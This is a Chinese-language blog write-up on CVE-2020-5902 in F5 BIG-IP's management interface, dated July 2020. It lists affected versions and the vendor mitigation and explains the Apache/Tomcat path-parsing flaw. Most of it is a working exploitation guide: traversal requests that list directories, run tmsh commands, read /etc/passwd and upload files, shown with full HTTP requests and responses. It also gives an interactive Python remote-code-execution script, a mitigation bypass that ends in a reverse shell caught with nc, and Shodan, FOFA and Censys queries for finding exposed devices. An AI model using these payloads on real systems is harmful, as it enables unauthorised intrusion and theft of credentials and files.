0x00 前言

本文将疯狂借鉴(chaoxi) https://github.com/jas502n/CVE-2020-5902 内容, 仅用于个人学习!

本文中的虚拟机 ip 多次发生了变化, 这是我本人所处环境改变了, 忽视即可.

0x01 漏洞介绍

7月1日,F5发布公告,其流量管理用户接口(Traffic Management User Interface ,简称TMUI),也称为配置实用程序(Configuration utility)。该系统存在一处RCE漏洞。CVE编号为CVE-2020-5902。

影响版本

BIG-IP 15.x: 15.1.0/15.0.0

BIG-IP 14.x: 14.1.0 ~ 14.1.2

BIG-IP 13.x: 13.1.0 ~ 13.1.3

BIG-IP 12.x: 12.1.0 ~ 12.1.5

BIG-IP 11.x: 11.6.1 ~ 11.6.5

修复建议

BIG-IP 15.x: 15.1.0.4

BIG-IP 14.x: 14.1.2.6

BIG-IP 13.x: 13.1.3.4

BIG-IP 12.x: 12.1.5.2

BIG-IP 11.x: 11.6.5.2

临时修补建议

官方建议可以通过以下步骤临时缓解影响

  1. 使用以下命令登录对应系统

     tmsh
  2. 编辑 httpd 组件的配置文件

     edit /sys httpd all-properties
  3. 文件内容如下

     include '
     <LocationMatch ".*\.\.;.*">
     Redirect 404 /
     </LocationMatch>
     '
  4. 按照如下操作保存文件

     按下 ESC 并依次输入
     :wq
  5. 执行命令刷新配置文件

     save /sys config
  6. 重启 httpd 服务

     restart sys service httpd

并禁止外部IP对 TMUI 页面的访问

0x02 靶机下载

这里我们分别下来两个靶机, 一个是已经修复了漏洞的14, 一个是还没修复漏洞的15.

https://downloads.f5.com/esd/productlines.jsp

百度云

这里我已经下载完毕, 上传到百度云上了, 有需求可以自行下载

链接: https://pan.baidu.com/s/1kQ7P6QP3OO3NEy8sBSv1Ew
提取码: uvyu

已修复的 14.1.2.6

https://downloads.f5.com/esd/product.jsp?sw=BIG-IP&pro=big-ip_v14.x

https://downloads.f5.com/esd/eula.sv?sw=BIG-IP&pro=big-ip_v14.x&ver=14.1.2&container=14.1.2.6_Virtual-Edition&path=&file=&B1=I+Accept

有漏洞的 15.1.0

https://downloads.f5.com/esd/product.jsp?sw=BIG-IP&pro=big-ip_v15.x

https://downloads.f5.com/esd/ecc.sv?sw=BIG-IP&pro=big-ip_v15.x&ver=15.1.0&container=Virtual-Edition

导入 VMware

下载完后导入 VMware 启动即可

这里以 14 为例子.

https://www.question-defense.com/2011/03/28/f5-big-ip-ltm-ve-default-login-big-ip-local-traffic-manager-virtual-edition-console-login 得知默认的账号密码

root/default

成功登陆会让我们重置密码, 记住这个密码, 待会在 web 页面的登录密码如下:

admin/刚刚设置的密码

然后输入以下命令打开Configuration Utility工具

config

选择 ipv4

即可看到如下的页面

如果这里面的配置不对的话, 请手动配置.

接下来互相 ping 一下, 测试网络的连通性.

最后访问之 https://192.168.0.102

这里必须要吐槽一下, 用 chrome 都打不开这个链接...

这里有个点要注意的是, 登录的账号是admin, 密码是刚刚修改过的密码. 登录之后又要改一次密码... ...

0x03 POC

发送如下的请求

GET /tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=AnyMsgHereWillBeReflectedInTheResponse

返回内容中会有AnyMsgHereWillBeReflectedInTheResponse则证明存在漏洞, 其中AnyMsgHereWillBeReflectedInTheResponse是我们随便输入的.

完整的 url 如下:

https://[ip]/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=AnyMsgHereWillBeReflectedInTheResponse

这里为了方便, 直接用 curl 演示.

如果是已经修复的, 会显示如下:

如果是有漏洞的, 会显示如下:

最后附上一个简单的 shell 脚本用于检测.

脚本来源: https://gist.github.com/ykoster/11148b1783b2205f9a4981b251e522a0

curl --silent --insecure 'https://[ip]/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=Vulnerable' | \
grep -q Vulnerable && \
printf '\033[0;31mVulnerable\n' || \
printf '\033[0;32mNot Vulnerable\n'

0x04 EXP

1. List File

curl

curl -v -k  'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=[要列的目录]'

利用的文件

/tmui/locallb/workspace/directoryList.jsp

利用的参数

directoryPath

例子

下面的 payload 将直接列出/usr/local/www/目录

/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/

BurpSuite Request
GET /tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/ HTTP/1.1
Host: 192.168.124.21
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=8149EC3BC92027FBEEA8B8FB2C0BB979
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

BurpSuite Response
{"output":{"dir":"www","children":[{"dir":"avr","children":[{"file":".htaccess"},{"dir":"api","children":[{"file":"cli.php"},{"file":"device-groups.php"},{"file":"dos-profiles.php"},{"file":"exportPDF.php"},......

2. RCE

注意: 本小节所涉及到的命令执行, 只能执行 F5 TMSH 命令, 不能执行 shell 命令. 下面的第三小节 Linux RCE 会讲绕过方法.

curl

curl -v -k  'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'

利用的文件

/tmui/locallb/workspace/tmshCmd.jsp

利用的参数

command

例子

/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin
  • list auth user: 查看所有用户
  • list auth user admin: 只查看 admin 用户

如果你这里返回为空, 则先登录一波 web 端即可!

BurpSuite Requests
GET /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin HTTP/1.1
Host: 192.168.0.103
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
BurpSuite Response
{
  "error": "",
  "output": "auth user admin {\n    description \"Admin User\"\n    encrypted-password $6$bEhBobYGG3$zmQ.k2Yw4E3iOAJu1jDIrE.LClSUq6xdLyNTvgDy14FIeDsxdnwAxkxUlpSQ7F60Y3tzKsUAKz.2qRtPLa.dx1\n    partition Common\n    partition-access {\n        all-partitions {\n            role admin\n        }\n    }\n    shell tmsh\n}\n"
}
format
    description "Admin User"
    encrypted-password $6$bEhBobYGG3$zmQ.k2Yw4E3iOAJu1jDIrE.LClSUq6xdLyNTvgDy14FIeDsxdnwAxkxUlpSQ7F60Y3tzKsUAKz.2qRtPLa.dx1
    partition Common
    partition-access {
        all-partitions {
            role admin
        }
    }
    shell tmsh
}

3. Linux RCE = tmshCmd.jsp + fileSave.jsp

本小节是第 2 节的补充, 通过别名绕过可以执行 shell 命令.

在操作之前, 首先要登录 Web(这一步很重要!!我在本地测试的时候, 如果不登录, 则数据一直返回为空!)

1. tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
2. fileSave.jsp?fileName=/tmp/cmd&content=id
3. tmshCmd.jsp?command=list+/tmp/cmd
4. tmshCmd.jsp?command=delete+cli+alias+private+list

(1) 通过别名绕过无法执行 shell 的限制

GET /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash HTTP/1.1
Host: 192.168.31.191
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

(2) 将要执行的命令写入文件中

POST /tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp HTTP/1.1
Host: 192.168.31.191
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 28

fileName=/tmp/cmd&content=id

(3) 执行命令

接下来这步很重要, 如果之前你没有登录 web 页面, 数据就一直返回为空, 如下图. 卡了我一个下午...

如果之前没有登录过, 这时候我们再登录

然后再list+/tmp/cmd, 就会提示如下问题

此时我们只需要重新执行第一步create+cli+alias+private+list+command+bash

GET /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash HTTP/1.1
Host: 192.168.31.191
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

list+/tmp/cmd, 即可看到结果. 如果之前已经登录了, 直接list+/tmp/cmd也可看到同样的结果!

GET /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/cmd HTTP/1.1
Host: 192.168.31.191
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

接下来就是自由操作时间了!

(4) 解除别名

用完就是解除了:

GET /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list HTTP/1.1
Host: 192.168.31.191
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

(5) Python 脚本

然后就是大佬写的 python 脚本了, 这里我改成了 Python3

# coding:utf-8
import requests
import json
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
import uuid
import sys

# tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
# fileSave.jsp?fileName=/tmp/cmd&content=id
# tmshCmd.jsp?command=list+/tmp/cmd
# tmshCmd.jsp?command=delete+cli+alias+private+list

banner = r'''
 _______  _______    ______  _________ _______   _________ _______    _______  _______  _______
(  ____ \(  ____ \  (  ___ \ \__   __/(  ____ \  \__   __/(  ____ )  (  ____ )(  ____ \(  ____ \
| (    \/| (    \/  | (   ) )   ) (   | (    \/     ) (   | (    )|  | (    )|| (    \/| (    \/
| (__    | (____    | (__/ /    | |   | |           | |   | (____)|  | (____)|| |      | (__
|  __)   (_____ \   |  __ (     | |   | | ____      | |   |  _____)  |     __)| |      |  __)
| (            ) )  | (  \ \    | |   | | \_  )     | |   | (        | (\ (   | |      | (
| )      /\____) )  | )___) )___) (___| (___) |  ___) (___| )        | ) \ \__| (____/\| (____/\
|/       \______/   |/ \___/ \_______/(_______)  \_______/|/         |/   \__/(_______/(_______/

                        CVE-2020-5902 UnAuth RCE Vuln
                            Python By Jas502n
From: https://github.com/rapid7/metasploit-framework/blob/0417e88ff24bf05b8874c953bd91600f10186ba4/modules/exploits/linux/http/f5_bigip_tmui_rce.rb
____________________________________________________________________________________________________________________________________________________
'''


def tmshCmd_exit(url, file, cmd):
    tmshCmd_url = url + "/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash"

    r = requests.get(tmshCmd_url, verify=False, allow_redirects=False)

    response_str = json.dumps(r.headers.__dict__['_store'])

    if r.status_code == 200 and 'tmui' in response_str:
        print("[+] tmshCmd.jsp Exit!")
        print("[+] create cli alias private list command bash \n")
        upload_exit(url, file, cmd)

    else:
        print("[+] tmshCmd.jsp No Exit!\n")


def upload_exit(url, file, cmd):
    fileSave_url = url + \
        "/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/%s&content=" % file + cmd

    r = requests.get(fileSave_url, verify=False, allow_redirects=False)

    response_str = json.dumps(r.headers.__dict__['_store'])
    if r.status_code == 200 and 'tmui' in response_str:
        print("[+] fileSave.jsp Exit!\n")
        list_command(url, file)
    else:
        print("[+] fileSave.jsp No Exit!\n")


def list_command(url, file):
    rce_url = url + "/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/%s" % file

    r = requests.get(rce_url, verify=False, allow_redirects=False)

    response_str = json.dumps(r.headers.__dict__['_store'])

    if r.status_code == 200 and 'tmui' in response_str:
        if len(r.content) > 33:
            print("[+] Command Successfull !\n")
            command_result = json.loads(r.content)
            print("_" * 90, '\n\n')
            print(command_result['output'])
            print("_" * 90, "\n\n")
            delete_list(url)
        else:
            print("[+] No Data! Need To Login! \n")
    else:
        print("[+] Command Failed !\n")


def delete_list(url):
    delete_url = url + '/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list'
    proxies = {"http": "http://127.0.0.1:8080",
               "https": "https://127.0.0.1:8080"}
    r = requests.get(delete_url, verify=False, allow_redirects=False)

    response_str = json.dumps(r.headers.__dict__['_store'])
    if r.status_code == 200 and 'tmui' in response_str:
        print("[+] delete cli alias private list Successfull! \n")
    else:
        print("[+] delete cli alias private list Failed! \n")


if __name__ == '__main__':
    print(banner)
    while True:
        url = "https://192.168.31.191"
        # url = sys.argv[1]
        file = str(uuid.uuid1())
        print("/tmp/" + file + "\n")
        cmd = input("[+]Set Cmd=")
        print()
        tmshCmd_exit(url, file, cmd)

4. 读文件

curl

curl -v -k  'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'

利用的文件

/tmui/locallb/workspace/fileRead.jsp

利用的参数

fileName

例子

/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

BurpSuite Requests
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd HTTP/1.1
Host: 192.168.124.21
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=8149EC3BC92027FBEEA8B8FB2C0BB979
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
BurpSuite Response
{"output":"root:x:0:0:root:\/root:\/bin\/bash\nbin:x:1:1:bin:\/bin:\/sbin\/nologin\ndaemon:x:2:2:daemon:\/sbin:\/sbin\/nologin\nadm:x:3:4:adm:\/var\/adm:\/sbin\/nologin\nlp:x:4:7:lp:\/var\/spool\/lpd:\/sbin\/nologin\nmail:x:8:12:mail:\/var\/spool\/mail:\/sbin\/nologin\noperator:x:11:0:operator:\/root:\/sbin\/nologin\nnobody:x:99:99:Nobody:\/:\/sbin\/nologin\ntmshnobody:x:32765:32765:tmshnobody:\/:\/sbin\/nologin\nadmin:x:0:500:Admin User:\/home\/admin:\/sbin\/nologin\nsupport:x:0:0:support:\/root:\/bin\/bash\nf5emsvr:x:975:975:F5 EM Service Account:\/root:\/bin\/false\nvcsa:x:69:69:virtual console memory owner:\/dev:\/sbin\/nologin\nsystemd-bus-proxy:x:974:998:systemd Bus Proxy:\/:\/sbin\/nologin\nsystemd-network:x:192:192:systemd Network Management:\/:\/sbin\/nologin\ndbus:x:81:81:System message bus:\/:\/sbin\/nologin\npolkitd:x:27:27:User for polkitd:\/:\/sbin\/nologin\nnslcd:x:65:55:LDAP Client User:\/:\/sbin\/nologin\ntss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:\/dev\/null:\/sbin\/nologin\npostgres:x:26:26:PostgreSQL Server:\/var\/local\/pgsql\/data:\/sbin\/nologin\ntomcat:x:91:91:Apache Tomcat:\/usr\/share\/tomcat:\/sbin\/nologin\nhsqldb:x:96:96::\/var\/lib\/hsqldb:\/sbin\/nologin\nsshd:x:74:74:Privilege-separated SSH:\/var\/empty\/sshd:\/sbin\/nologin\nrpc:x:32:32:Rpcbind Daemon:\/var\/lib\/rpcbind:\/sbin\/nologin\nntp:x:38:38::\/etc\/ntp:\/sbin\/nologin\nf5_remoteuser:x:499:499:f5 remote user account:\/home\/f5_remoteuser:\/sbin\/nologin\ntcpdump:x:72:72::\/:\/sbin\/nologin\noprofile:x:16:16:Special user account to be used by OProfile:\/:\/sbin\/nologin\nsdm:x:191:996:sdmuser:\/var\/sdm:\/bin\/false\nnamed:x:25:25:Named:\/var\/named:\/bin\/false\napache:x:48:48:Apache:\/usr\/local\/www:\/sbin\/nologin\nsyscheck:x:199:10::\/:\/sbin\/nologin\nmysql:x:98:98:MySQL server:\/var\/lib\/mysql:\/sbin\/nologin\nrestnoded:x:198:198::\/:\/sbin\/nologin\n"}
format
{
    "output":"root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
tmshnobody:x:32765:32765:tmshnobody:/:/sbin/nologin
admin:x:0:500:Admin User:/home/admin:/sbin/nologin
support:x:0:0:support:/root:/bin/bash
f5emsvr:x:975:975:F5 EM Service Account:/root:/bin/false
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
systemd-bus-proxy:x:974:998:systemd Bus Proxy:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
polkitd:x:27:27:User for polkitd:/:/sbin/nologin
nslcd:x:65:55:LDAP Client User:/:/sbin/nologin
tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin
postgres:x:26:26:PostgreSQL Server:/var/local/pgsql/data:/sbin/nologin
tomcat:x:91:91:Apache Tomcat:/usr/share/tomcat:/sbin/nologin
hsqldb:x:96:96::/var/lib/hsqldb:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
f5_remoteuser:x:499:499:f5 remote user account:/home/f5_remoteuser:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/:/sbin/nologin
sdm:x:191:996:sdmuser:/var/sdm:/bin/false
named:x:25:25:Named:/var/named:/bin/false
apache:x:48:48:Apache:/usr/local/www:/sbin/nologin
syscheck:x:199:10::/:/sbin/nologin
mysql:x:98:98:MySQL server:/var/lib/mysql:/sbin/nologin
restnoded:x:198:198::/:/sbin/nologin
"
}

5. 上传文件

利用的文件

/tmui/locallb/workspace/fileSave.jsp

利用的参数

fileName
content

例子

这里上传一个1.txt, 内容是CVE-2020-5902

/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp

POST: fileName=/tmp/1.txt&content=CVE-2020-5902

可以直接在虚拟机里面查看文件.

也可以使用前面的文件读取漏洞读取.

Upload Requests
POST /tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp HTTP/1.1
Host: 192.168.0.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 41

fileName=/tmp/1.txt&content=CVE-2020-5902
File Read /tmp/1.txt
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/tmp/1.txt HTTP/1.1
Host: 192.168.0.103
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
HTTP/1.1 200 OK
Date: Mon, 06 Jul 2020 15:58:09 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=16070400; includeSubDomains
Set-Cookie: JSESSIONID=96909E37FEF25D16FFC814DC94D56470; Path=/tmui; Secure; HttpOnly
Content-Type: text/html;charset=ISO-8859-1
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src 'self'  'unsafe-inline' 'unsafe-eval' data: blob:; img-src 'self' data:  http://127.4.1.1 http://127.4.2.1
Content-Length: 32
Connection: close





{"output":"CVE-2020-5902\n"}

上传 /tmp/1.txt 成功!

0x05 搜索目标

shodan

http.favicon.hash:-335242539 "3992"

http.title:"BIG-IP&reg;- Redirect"

fofa

title="BIG-IP&reg;- Redirect"

censys

443.https.get.body_sha256:5d78eb6fa93b995f9a39f90b6fb32f016e80dbcda8eb71a17994678692585ee5

443.https.get.title:"BIG-IP&reg;- Redirect"

0x06 简单的原理分析

原理分析链接: https://mp.weixin.qq.com/s/lbC-i8FVfTj_qWmHgWyoMg

首先要明白一点, 漏洞利用中的文件如 fileRead.jsptmshCmd.jsp等文件在用户登陆后本身就是可以被访问的. 这里的用户登录后指的是随便一个人在一定的时间内登录过即可.

该漏洞的本质是利用 Apache 和后台 Java(tomcat) 对URL的解析方式不同来绕过登陆限制, 在未授权的情况下, 访问后台JSP模块

这里我们可以理解在F5 BIG-IP的后台服务器对收到了URL请求进行了两次的解析, 第一次是httpd(Apache), 第二次是后一层的Java(tomcat)

在URL在第一次被Apache解析时, Apache关注的是URL的前半段

https://192.168.124.22/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

当Apache在看见前半段是合法URL且是允许被访问的页面时, 就把它交给了后面的第二层. Apache在这里完全把URL里面关键的/..;/给无视了

在URL在第二次被解析时,后面的Java(tomcat)会把/..;/理解为, 向上返回一层路径. 此时, /login.jsp//..;/ 会抵消掉. Tomcat看到的真正请求从

https://192.168.124.22/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

变成了:

https://192.168.124.22/tmui/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

而且 fileRead.jsp 并没有对收到的请求进行身份验证, 后台因此直接执行fileRead.jsp, 读取并返回了/etc/passwd文件的内容

根据以上的思路, 其实可以找出别的利用漏洞的URL, 比如:

https://192.168.124.22/tmui/tmui/login/legal.html/..;/..;/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

https://192.168.124.22/tmui/tmui/login/legal.html 和之前的login.jsp一样, 都是一个不需要登陆就能访问的页面. 但是因为要向上返回两次, 需要用两个/..;/来抵消掉 /login/legal.html

回到开头提到的官方给出的临时修复方案, 修复方案的本质是在 httpd 的配置中添加以下规则:

include '
<LocationMatch ".*\.\.;.*">
Redirect 404 /
</LocationMatch>
'

这个规则的意思是, 当http服务器在监测到URL中包含..;(句号句号分号)的时候, 直接返回404. 这样利用漏洞的请求就没办法到达后台(第二层)了.

0x07 对于临时修复方案的 bypass

原文链接: https://www.criticalstart.com/f5-big-ip-remote-code-execution-exploit/

从上面的分析可以知道, 临时修复方案主要用于检测..;

https://github.com/Critical-Start/Team-Ares/tree/master/CVE-2020-5902 提到了可以使用 java 反序列化进行绕过, 并且获取反弹shell

将仓库的内容下载下来.

首先修改 hosts 文件

sudo vim /etc/hosts

添加目标 ip (我这里是192.168.124.24)与localhost.localdomain的绑定

然后 nc 本地监听随便一个端口, 这里是 4444 端口

nc -l -v -p <localport>

example:
nc -l -v -p 4444

接着启动hsqldb数据库

java -classpath hsqldb.jar org.hsqldb.WebServer

最后执行 exp

./CVE-2020-5902.sh <server> <localip> <localport>

example:
./CVE-2020-5902.sh localhost.localdomain 192.168.124.17 4444

回到 nc 中, 拿到了 shell

0x08 对于 hsqldb 绕过的临时修复

在官网 https://support.f5.com/csp/article/K52145254 可以看到, 更新了针对攻击者利用hsqldb利用链, 通过构造恶意请求, 绕过官方发布的禁止请求中包含;的漏洞缓解方案

即编辑httpd组件的配置文件内容为下图所示:

当http服务器在监测到URL中包含;或者hsqldb就直接返回 404.

0x09 工具

MSF f5_bigip_tmui_rce

https://github.com/rapid7/metasploit-framework/blob/0417e88ff24bf05b8874c953bd91600f10186ba4/modules/exploits/linux/http/f5_bigip_tmui_rce.rb

nmap脚本

https://raw.githubusercontent.com/RootUp/PersonalStuff/master/http-vuln-cve2020-5902.nse

最后修改:2020 年 07 月 12 日 08 : 42 PM
如果觉得我的文章对你有用,请随意赞赏